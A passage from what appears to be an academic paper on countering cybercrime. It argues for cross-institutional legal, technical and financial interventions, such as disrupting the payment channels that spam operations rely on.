Program for Research and Innovation called HORIZON 2020), reconsidering
fire-fighting behavior and reflecting on how criminals adapt to interventions.

Therefore, investments in the construction of an effective countermeasure,
leading to savings obtained from the mitigation/disruption of the threat with
a long-term efficacy, must focus the research within a cross-institutional ecosys-
tem—legal, technical, and financial, providing data-driven interventions.

Too many sectors are still semi-regulated or not regulated at all, such as hosting
infrastructure services, online currencies (e.g., WebMoney and Bitcoin) and banking
relationships (it has been found that only three banks were responsible for accepting
payments for 95% of the spam URLs [24]). Perhaps, disrupting the flow of money
can discourage abuse. With no payout, entire profits simply disappear [25].
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